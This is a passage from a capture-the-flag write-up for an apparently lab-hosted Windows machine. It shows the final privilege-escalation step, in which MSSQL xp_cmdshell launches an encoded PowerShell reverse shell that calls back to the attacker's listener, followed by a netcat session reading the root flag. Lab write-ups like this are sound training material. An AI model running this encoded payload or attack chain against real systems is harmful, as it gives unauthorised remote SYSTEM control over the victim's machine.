NT AUTHORITY\SYSTEM [*] process start with pid 5576 nt authority\system NULL SQL (BREACH\Administrator dbo@master)> ``` That shell I did earlier can now come into play: {% code overflow="wrap" expandable="true" %} ```bash xp_cmdshell C:\programdata\gp.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQAzADQAIgAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" ``` {% endcode %} ```bash ┌──(kali㉿kali 06/30/2026 08:35:28 PM)-[~/htb/machines/breach] └─$ rlwrap -cAr nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.15.134] from (UNKNOWN) [10.129.24.242] 51873 whoami nt authority\system PS C:\Windows\system32> type root.txt PS C:\Windows\system32> cd C:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/17/2025 12:37 AM 32 root.txt PS C:\users\administrator\desktop> type root.txt ******************************* PS C:\users\administrator\desktop> ``` ## Root.txt ```bash fc98f***************************** ``` [^1]: